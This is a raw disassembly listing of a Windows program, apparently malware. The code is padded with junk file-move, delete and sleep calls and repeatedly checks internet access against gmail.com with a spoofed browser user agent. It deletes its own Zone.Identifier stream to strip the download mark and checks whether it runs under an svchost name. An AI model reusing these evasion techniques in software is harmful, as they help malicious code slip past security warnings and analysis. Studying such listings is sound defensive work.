push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
jmp 0x403a04
push 0
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1084], eax
cmp dword [ebp - 0x1084], 0
je 0x403f18
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1f40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10a8], eax
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [ebp - 0x10a8], 0
je 0x403b55
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov eax, dword [ebp - 0x10a8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0
je 0x403b3d
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x109c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10a8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x403b91
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x1098], eax
cmp dword [ebp - 0x1098], 0
je 0x403bdc
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov eax, dword [ebp - 0x1084]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov ecx, dword [ebp - 0x1084]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, dword [ebp - 0x1084]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x1084]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [ebp - 0x10b0], 0x5a
mov dword [ebp - 0x10a0], 0x32
mov ecx, dword [ebp - 0x10b0]
add ecx, dword [ebp - 0x10a0]
mov dword [ebp - 0x10ac], ecx
cmp dword [ebp - 0x10ac], 0x2710
jge 0x403e4a
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10b4], eax
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10a8], eax
cmp dword [ebp - 0x10a8], 0
je 0x403d35
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov edx, dword [ebp - 0x10a8]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0
je 0x403d20
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov eax, dword [ebp - 0x109c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10a8]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10b4], 0
je 0x403e4a
mov edx, dword [ebp - 0x10b4]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov eax, dword [ebp - 0x10b4]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10a8], eax
cmp dword [ebp - 0x10a8], 0
je 0x403e3d
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov ecx, dword [ebp - 0x10a8]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x109c], eax
cmp dword [ebp - 0x109c], 0
je 0x403e02
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, dword [ebp - 0x109c]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10a8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [ebp - 0x10a4], 0x15f90
mov dword [ebp - 0x1094], 0x190
mov ecx, dword [ebp - 0x10a4]
cmp ecx, dword [ebp - 0x1094]
jbe 0x403eb4
push 0
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10b8], eax
cmp dword [ebp - 0x10b8], 0
je 0x403eb2
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov edx, dword [ebp - 0x1094]
add edx, 1
mov dword [ebp - 0x1094], edx
jmp 0x403e5e
mov dword [ebp - 0x10bc], 0
jmp 0x403ecf
mov eax, dword [ebp - 0x10bc]
add eax, 1
mov dword [ebp - 0x10bc], eax
cmp dword [ebp - 0x10bc], 0x2328
jge 0x403f18
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x403ec0
mov ecx, dword [ebp - 0x50c]
add ecx, 1
mov dword [ebp - 0x50c], ecx
jmp 0x4038fe
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x208
lea edx, [ebp - 0x750]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.004016e0
push 0
push 0
call dword [sym.imp.ole32.dll_CoInitializeEx]
lea eax, [ebp - 0x750]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov dword [ebp - 0xd58], eax
lea ecx, [ebp - 0x750]
push ecx
push str._ls:Zone.Identifier
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.svchost.
lea ecx, [ebp - 0x750]
push ecx
call fcn.004056e0
add esp, 8
test eax, eax
jne 0x4050b7
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0xa28], 0x2378
mov edx, dword [ebp - 0x50c]
cmp edx, dword [ebp - 0xa28]
jae 0x404524
push 0
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10c0], eax
cmp dword [ebp - 0x10c0], 0
je 0x404510
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40409f
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10c8], eax
cmp dword [ebp - 0x10c8], 0
je 0x404132
push str.2uu5uii55i5i25i52i5ii2525i5i25i
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 1
mov eax, dword [ebp - 0x10c0]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
mov ecx, dword [ebp - 0x10c0]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
mov edx, dword [ebp - 0x10c0]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov eax, dword [ebp - 0x10c0]
push eax
call dword [sym.imp.USER32.dll_CloseWindow]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10d8], eax
cmp dword [ebp - 0x10d8], 0
je 0x4041b6
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov ecx, dword [ebp - 0x10d8]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10cc], eax
cmp dword [ebp - 0x10cc], 0
je 0x40419e
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x9c40
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x10cc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
mov ecx, dword [ebp - 0x10c0]
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov edx, dword [ebp - 0x10c0]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10c0]
push eax
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x10c0]
push ecx
call dword [sym.imp.USER32.dll_SetFocus]
mov edx, dword [ebp - 0x10c0]
push edx
call dword [sym.imp.USER32.dll_CloseWindow]
mov dword [ebp - 0x10e0], 0x22
mov dword [ebp - 0x10d0], 0x3c
mov eax, dword [ebp - 0x10e0]
add eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10dc], eax
cmp dword [ebp - 0x10dc], 0x1f4
jge 0x404460
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10e4], eax
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10d8], eax
cmp dword [ebp - 0x10d8], 0
je 0x404330
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov ecx, dword [ebp - 0x10d8]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10cc], eax
cmp dword [ebp - 0x10cc], 0
je 0x40431b
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov edx, dword [ebp - 0x10cc]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x10d8]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x10e4], 0
je 0x404460
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10e4]
push ecx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0
mov edx, dword [ebp - 0x10e4]
push edx
call dword [sym.imp.USER32.dll_ShowWindow]
push str.3ru38ur8u3yu38uy38uy3ur
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1194
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x10d8], eax
cmp dword [ebp - 0x10d8], 0
je 0x404448
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov eax, dword [ebp - 0x10d8]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x10cc], eax
cmp dword [ebp - 0x10cc], 0
je 0x404430
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10cc]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebp - 0x10d8]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x10d4], 0x1770
mov dword [ebp - 0x10c4], 0x8fc
mov eax, dword [ebp - 0x10d4]
cmp eax, dword [ebp - 0x10c4]
jbe 0x4044ba
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10e8], eax
cmp dword [ebp - 0x10e8], 0
je 0x4044b8
push str.2uu5uii55i5i25i52i5ii2525i5i25i
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 0x10c4]
add ecx, 1
mov dword [ebp - 0x10c4], ecx
jmp 0x404474
mov dword [ebp - 0x10ec], 0
jmp 0x4044d5
mov edx, dword [ebp - 0x10ec]
add edx, 1
mov dword [ebp - 0x10ec], edx
cmp dword [ebp - 0x10ec], 0xbb8
jge 0x404510
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
jmp 0x4044c6
mov eax, dword [ebp - 0x50c]
add eax, 1
mov dword [ebp - 0x50c], eax
jmp 0x403ff3
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x10f0], 0
jmp 0x40454a
mov ecx, dword [ebp - 0x10f0]
add ecx, 1
mov dword [ebp - 0x10f0], ecx
cmp dword [ebp - 0x10f0], 3
jae 0x4050b7
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x50c], 0
mov dword [ebp - 0xa28], 0x2382
mov edx, dword [ebp - 0x50c]
cmp edx, dword [ebp - 0xa28]
jae 0x404e25
push 0
push str.wgg4gwg4wgw4w4gw4gw4g4wghw4h
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [ebp - 0x10f4], eax
cmp dword [ebp - 0x10f4], 0
je 0x404ce1
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov dword [ebp - 0x1118], 0
jmp 0x40460a
mov eax, dword [ebp - 0x1118]
add eax, 1
mov dword [ebp - 0x1118], eax
cmp dword [ebp - 0x1118], 0x190
jge 0x404659
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x4045fb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_88.0.4324.146_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x110c], eax
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [ebp - 0x110c], 0
je 0x4047d0
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3rm3mrk3kmr3mrl3mrm3mr3lmmrl3m
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1770
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0
push 0
push 0
push 0
push str.http:__www.gmail.com_
mov ecx, dword [ebp - 0x110c]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x1100], eax
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0x1100], 0
je 0x4047b8
mov dword [ebp - 0x111c], 0
jmp 0x40476e
mov edx, dword [ebp - 0x111c]
add edx, 1
mov dword [ebp - 0x111c], edx
cmp dword [ebp - 0x111c], 0x190
jge 0x4047b8
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40475f
mov eax, dword [ebp - 0x1100]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 0x110c]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, dword [ebp - 0x10f4]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov eax, dword [ebp - 0x10f4]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov ecx, dword [ebp - 0x10f4]
push ecx
call dword [sym.imp.USER32.dll_CloseWindow]
push str.4tt4t4wwt44t4tw4tw4wt4tw4t
push str.w4uuyuyuwtu4tut4iti4ii4i4it
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov dword [ebp - 0x1114], 0x58
mov dword [ebp - 0x1104], 0x42
mov edx, dword [ebp - 0x1114]
add edx, dword [ebp - 0x1104]
mov dword [ebp - 0x1110], edx
cmp dword [ebp - 0x1110], 0x1f4
jge 0x404ae1
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
push str.3r37grg73g7e37geg73g7eg73g7e
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.w4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4fw4f
push str.3r3r003or03kr03k0r3kfkf03k0f3kf30kf
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
